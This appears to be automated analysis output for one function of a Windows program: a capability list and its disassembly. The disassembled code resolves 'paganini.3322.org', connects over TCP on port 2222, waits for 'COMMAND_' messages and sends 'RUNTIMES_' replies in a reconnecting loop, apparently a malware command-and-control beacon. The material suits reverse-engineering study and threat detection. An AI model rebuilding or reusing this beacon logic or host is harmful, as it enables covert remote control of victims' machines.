Function at 0x140029f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x3c]
push ebx
push ebp
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x64
xor eax, eax
lea edi, [esp + 0xc0]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14002c46
push 6
push 1
push 2
mov dword [esp + 0x30], 0x493e0
mov dword [esp + 0x34], eax
mov dword [esp + 0x28], 0xdbba0
mov dword [esp + 0x2c], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x14002c46
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x24]
push 8
push edx
push 0x1006
push 0xffff
push esi
call edi
lea eax, [esp + 0x1c]
push 8
push eax
push 0x1005
push 0xffff
push esi
call edi
push 0x8ae
mov word [esp + 0x30], 2
call dword [sym.imp.WS2_32.dll_htons]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov word [esp + 0x2e], ax
push str.paganini.3322.org
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x14002ac8
push 0xfa0
call ebx
jmp 0x14002ab0
mov ecx, dword [eax + 0xc]
push 0x10
mov edx, dword [ecx]
lea ecx, [esp + 0x30]
push ecx
push esi
mov eax, dword [edx]
mov dword [esp + 0x3c], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x14002c24
xor eax, eax
lea edx, [esp + 0x5c]
push eax
mov ecx, 0x19
lea edi, [esp + 0x60]
push 9
push edx
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x14002bdc
cmp eax, 0xffffffff
je 0x14002bdc
xor eax, eax
lea ecx, [esp + 0x5c]
mov dword [esp + 0x11], eax
push 8
lea edx, [esp + 0x14]
mov dword [esp + 0x19], eax
push ecx
push edx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x25], al
call fcn.14003030
add esp, 0xc
mov edi, str.COMMAND_
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x14002b6a
test cl, cl
je 0x14002b66
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x14002b6a
add eax, 2
add edi, 2
test cl, cl
jne 0x14002b46
xor eax, eax
jmp 0x14002b6f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x14002ae9
mov eax, dword [esp + 0x64]
push eax
push esi
call fcn.14002400
add esp, 8
sub eax, 0
je 0x14002c30
sub eax, 2
je 0x14002bdc
dec eax
jne 0x14002ae9
lea ecx, [esp + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 9
push str.RUNTIMES_
push esi
call ebp
push 0x190
call ebx
push 0
lea edx, [esp + 0x50]
push 0x10
push edx
push esi
call ebp
push 0xc8
call ebx
push 0
lea eax, [esp + 0x40]
push 0x10
push eax
push esi
call ebp
jmp 0x14002ae9
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x14002c46
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x24]
push 8
push ecx
push 0x1006
push 0xffff
push esi
call edi
lea edx, [esp + 0x1c]
push 8
push edx
push 0x1005
push 0xffff
push esi
call edi
push 0x7d0
call ebx
jmp 0x14002ab0
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x240
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret